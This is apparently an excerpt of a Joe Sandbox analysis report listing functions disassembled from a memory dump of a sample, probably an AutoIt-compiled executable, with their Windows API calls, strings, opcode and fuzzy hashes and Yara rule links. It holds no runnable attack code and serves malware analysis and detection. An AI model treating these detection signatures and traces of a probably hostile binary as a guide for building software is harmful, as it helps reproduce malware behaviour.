Instruction Fuzzy Hash: 48F06D3624015CBBE3205BA29C0DEAB7A7CEBD7B11F000169FE08D105096A01A05A6B5

Function 00F27230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00F27243
EnterCriticalSection.KERNEL32(?,?,00ED0EE4,?,?), ref: 00F27254
TerminateThread.KERNEL32(00000000,000001F6,?,00ED0EE4,?,?), ref: 00F27261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00ED0EE4,?,?), ref: 00F2726E

Part of subcall function 00F26C35: CloseHandle.KERNEL32(00000000,?,00F2727B,?,00ED0EE4,?,?), ref: 00F26C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00F27281
LeaveCriticalSection.KERNEL32(?,?,00ED0EE4,?,?), ref: 00F27288

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: c5cc75d55ef11ea5d23da5d9163718192c6b092bb2cc6f2a8099261246e9cb4e
Instruction ID: 5528dff6016b59b576e8237522880207a38085486f203156af00a9ce7ca4679b
Opcode Fuzzy Hash: c5cc75d55ef11ea5d23da5d9163718192c6b092bb2cc6f2a8099261246e9cb4e
Instruction Fuzzy Hash: 45F0BE3A440616EBE7112B24EC4C9DB7769EF57312B000131F907900A0CBBA1904EB60

Function 00F18992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F1899D
UnloadUserProfile.USERENV(?,?), ref: 00F189A9
CloseHandle.KERNEL32(?), ref: 00F189B2
CloseHandle.KERNEL32(?), ref: 00F189BA
GetProcessHeap.KERNEL32(00000000,?), ref: 00F189C3
HeapFree.KERNEL32(00000000), ref: 00F189CA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 097709a51ee3ff41d6b52a20f3e835bea2f0c115cc775cb3a28788c7e257b600
Instruction ID: 844b9db640589b1e8f2fce8aa768e66a8427e54c5ac9a487c2069aabbd8d6293
Opcode Fuzzy Hash: 097709a51ee3ff41d6b52a20f3e835bea2f0c115cc775cb3a28788c7e257b600
Instruction Fuzzy Hash: 0FE0C93A004009FBE6011FE1EC0C916BBA9FBAA7227104230F61981470CB325424EB50

Function 00F385ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F38613
CharUpperBuffW.USER32(?,?), ref: 00F38722
VariantClear.OLEAUT32(?), ref: 00F3889A

Part of subcall function 00F27562: VariantInit.OLEAUT32(00000000), ref: 00F275A2
Part of subcall function 00F27562: VariantCopy.OLEAUT32(00000000,?), ref: 00F275AB
Part of subcall function 00F27562: VariantClear.OLEAUT32(00000000), ref: 00F275B7

Strings

Incorrect Parameter format, xrefs: 00F3864B, 00F3880D
AUTOIT.ERROR, xrefs: 00F38728

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 01add27b074c1f5f91bb4ec7ec30b54fefb2a9ea806ffc7acc484fe87e7babbd
Instruction ID: 9c7ea8ba059b076baff9d6e9bedff07238348026e98993fb7f3b352b39eea005
Opcode Fuzzy Hash: 01add27b074c1f5f91bb4ec7ec30b54fefb2a9ea806ffc7acc484fe87e7babbd
Instruction Fuzzy Hash: FB91BF71A04301DFCB00DF24C48595ABBE4EF89764F04886DF89A9B362DB35EC46DB52

Function 00F22A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDFC86: _wcscpy.LIBCMT ref: 00EDFCA9

_memset.LIBCMT ref: 00F22B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F22BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F22C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00F22C97

Strings

0, xrefs: 00F22B73

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 5942368f47ee6e65ad357744a017c1b0226f0067974b235fc0382c28f7aaf753
Instruction ID: 6d57fbcf03c734a26d9cc8c6e07eafa50dc664c04f435cc50cf9b52304a9ab27
Opcode Fuzzy Hash: 5942368f47ee6e65ad357744a017c1b0226f0067974b235fc0382c28f7aaf753
Instruction Fuzzy Hash: E351D371908320ABD7A4AF28E845A6F77E4EF95330F040A2DF895E72A1DB74CD44A752

Function 00ED3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00ED3277
_memmove.LIBCMT ref: 00ED3310
_free.LIBCMT ref: 00ED3336
_memmove.LIBCMT ref: 00ED33E9

Strings

_, xrefs: 00ED3322
3c, xrefs: 00ED3225

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove$_free
String ID: 3c$_
API String ID: 2620147621-4099079164
Opcode ID: 16c447ed1737afe4e9a67d6c55aafba20e53795b52c8207a84ddd025212416f0
Instruction ID: f40799a2d3430ed4fabeb613ed7ee957dc8340c6cfcea6ce2da8309ad3ca6e0c
Opcode Fuzzy Hash: 16c447ed1737afe4e9a67d6c55aafba20e53795b52c8207a84ddd025212416f0
Instruction Fuzzy Hash: 04516871A043418FDB24CF28C940A6EBBE5EF85314F44582EE999E7351EB35E942CB43

Function 00ED6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00ED6248
_memmove.LIBCMT ref: 00ED62E4
_memset.LIBCMT ref: 00ED6308

Strings

ERCP, xrefs: 00ED61B3
3c, xrefs: 00ED62AF

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3c$ERCP
API String ID: 2532777613-1756721700
Opcode ID: 3d355db1be01279d6458a7160fe10bfb92cc335270752d3d2e3830ac355f3e56
Instruction ID: 60486430f7925fdd6dba3b54eee5de72f2fc3db71a72f73c3177ad9bb7a102db
Opcode Fuzzy Hash: 3d355db1be01279d6458a7160fe10bfb92cc335270752d3d2e3830ac355f3e56
Instruction Fuzzy Hash: 2F51A171900309DBDB24CF95C941BEAB7F4EF44314F20956FE54AEB251E7B0AA85DB40

Function 00F1D56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00F1D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00F1D60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00F1D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00F1D69D

Strings

DllGetClassObject, xrefs: 00F1D610

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 5d94d748c103a6bbba847c9b4502af4fdb377cb842196f57750c531ad3669077
Instruction ID: cdeb759e147366b894087d3ea4a1a57b167022174022558d76f39b16cc9a361d
Opcode Fuzzy Hash: 5d94d748c103a6bbba847c9b4502af4fdb377cb842196f57750c531ad3669077
Instruction Fuzzy Hash: 16419FB2600204EFDB05DF64C884BDA7BB9EF44314F1581A9ED099F24AD7B1DD84EBA0

Function 00F22753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F227C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00F227DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00F22822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00F85890,00000000), ref: 00F2286B

Strings

0, xrefs: 00F227B5

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: d62eee754ac5f99fb4761e6030e9d70f4ea9516e29ccc350e74abeb2cfcc3e31
Instruction ID: 3f1320756f60794d3af0a6b12f684de2f7fe8c7ff9f15eb15647b9cd64435a65
Opcode Fuzzy Hash: d62eee754ac5f99fb4761e6030e9d70f4ea9516e29ccc350e74abeb2cfcc3e31
Instruction Fuzzy Hash: F141EF71604351AFD760DF24EC44FAABBE8EF85320F04492EF8A697291C770E805DB52

Function 00F3D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00F3D7C5

Part of subcall function 00EC784B: _memmove.LIBCMT ref: 00EC7899

Strings

stdcall, xrefs: 00F3D847
winapi, xrefs: 00F3D836
none, xrefs: 00F3D8A0
cdecl, xrefs: 00F3D81C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 06c41d71f33124f520fc5edc888f9998c1b6d07c070fa4c7d2e681af7c07fa70
Instruction ID: ce175379ebc1715163bf7a382b8cd2fd6dafc44efaff3a43d920458a1ce97759
Opcode Fuzzy Hash: 06c41d71f33124f520fc5edc888f9998c1b6d07c070fa4c7d2e681af7c07fa70
Instruction Fuzzy Hash: 9931B071904219ABCF00EFA4CD519AEB3F4FF04330F00866AE869A72D1DB71A946DB80

Function 00F18E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F1AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00F1AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00F18F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00F18F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00F18F57

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

Strings

ComboBox, xrefs: 00F18E9E
ListBox, xrefs: 00F18ED3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: cf897e46ac5ae90ab58ff67e90c6517771287f10878d47d31eb9c53296911b2b
Instruction ID: 7a2fc6957893b1ee1d1d76edfb6aad707483552576ebca2bace629a0fceb3bb6
Opcode Fuzzy Hash: cf897e46ac5ae90ab58ff67e90c6517771287f10878d47d31eb9c53296911b2b
Instruction Fuzzy Hash: A5210675901108BADB14ABB0CD85DFF77A9DF463A0F14412DF825A71E0DF39588BAA10

Function 00F3182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00F3184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F31872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00F318A2
InternetCloseHandle.WININET(00000000), ref: 00F318E9

Part of subcall function 00F32483: GetLastError.KERNEL32(?,?,00F31817,00000000,00000000,00000001), ref: 00F32498
Part of subcall function 00F32483: SetEvent.KERNEL32(?,?,00F31817,00000000,00000000,00000001), ref: 00F324AD

Strings

, xrefs: 00F31893

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 711024574c0c1207ac848f99f1dcec9ecd92af98873767d4495173cb1a4ec956
Instruction ID: 762211e27876f925e1d4776c85857e57a6593d79602366fd67326aa27bebb265
Opcode Fuzzy Hash: 711024574c0c1207ac848f99f1dcec9ecd92af98873767d4495173cb1a4ec956
Instruction Fuzzy Hash: C921BEB190020CBFEB119B64CC85EBF77EDFB49764F10412AF805A2240EA288D08A7B4

Function 00F463E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EC1D73
Part of subcall function 00EC1D35: GetStockObject.GDI32(00000011), ref: 00EC1D87
Part of subcall function 00EC1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EC1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00F46461
LoadLibraryW.KERNEL32(?), ref: 00F46468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00F4647D
DestroyWindow.USER32(?), ref: 00F46485

Strings

SysAnimate32, xrefs: 00F4643C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 30a43d1ac39c1b804e6f161c7e0c6c26d3b6344efb76f56dd08410082f689266
Instruction ID: 53230b49e7014f50192c3e147167df13a637c33f13e76046100354e3b6c52822
Opcode Fuzzy Hash: 30a43d1ac39c1b804e6f161c7e0c6c26d3b6344efb76f56dd08410082f689266
Instruction Fuzzy Hash: 17218E75500209ABEF108FA4DC40EBA3BA9EB5A374F104629FD14D21A0D775DC51B762

Function 00F26D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00F26DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F26DEF
GetStdHandle.KERNEL32(0000000C), ref: 00F26E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00F26E3B

Strings

nul, xrefs: 00F26E36

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: d1b7aa178d013db379703c91a3d7257b23f7c77639ca6513886e79cc4a3a64ed
Instruction ID: 4bce29c621f432d4d7352eaff55757532d44c1e3250fcb6ccd84987c975dd0df
Opcode Fuzzy Hash: d1b7aa178d013db379703c91a3d7257b23f7c77639ca6513886e79cc4a3a64ed
Instruction Fuzzy Hash: CB21B275A0022DABDB209F69EC04A9A77F4EF95730F204A19FCA0D72D0D7709915AB54

Function 00F26E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00F26E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F26EBB
GetStdHandle.KERNEL32(000000F6), ref: 00F26ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00F26F06

Strings

nul, xrefs: 00F26F01

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: ed8d6e9d5673b17ebdea62a1223daeecadacef2146f8c42865ae5d5c434e3989
Instruction ID: 4e8a0c04c05d8f5ead7adc399ed90ac45c860fe2a9dd4a14e2ac952bdd192aa0
Opcode Fuzzy Hash: ed8d6e9d5673b17ebdea62a1223daeecadacef2146f8c42865ae5d5c434e3989
Instruction Fuzzy Hash: 512107799007259BDB209F69EC04A9A77E8EF55730F200B19FCA0D72D0D7B0E951EB54

Function 00F2AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F2AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00F2ACA8
__swprintf.LIBCMT ref: 00F2ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,00F4F910), ref: 00F2ACFF

Strings

%lu, xrefs: 00F2ACBB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 7c0be13f2347b30e62b71e3cd656ce6d9b765047c43c173c39511f6e122ad5b4
Instruction ID: 99ea6e364089ae011704aa32e16b0ec8a628da37b90b0a6651f0cfdf2fae2ed0
Opcode Fuzzy Hash: 7c0be13f2347b30e62b71e3cd656ce6d9b765047c43c173c39511f6e122ad5b4
Instruction Fuzzy Hash: ED21A135A0010DAFCB10DF64DD45EAE7BF8EF89314B0040A9F909EB252DA31EA45DB21

Function 00F21AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F21B19

Strings

APPEND, xrefs: 00F21B52
KEYS, xrefs: 00F21B30
EXISTS, xrefs: 00F21B41
REMOVE, xrefs: 00F21B1F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 6d049b25f74ad8ec22d3198ac3dbce4545eb31f0bc910d8c33158b346dad3fb3
Instruction ID: 0c8006cb0e839eb07be04651253bb61f883611f4ed89b9eebbd091d48838a336
Opcode Fuzzy Hash: 6d049b25f74ad8ec22d3198ac3dbce4545eb31f0bc910d8c33158b346dad3fb3
Instruction Fuzzy Hash: 78118B3194029C8FCF00EFA4E8519EEB3F4FF66314B1484A9D818A7692EB325D47EB54

Function 00F3EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00F3EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00F3EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00F3ED6A
CloseHandle.KERNEL32(?), ref: 00F3EDEB

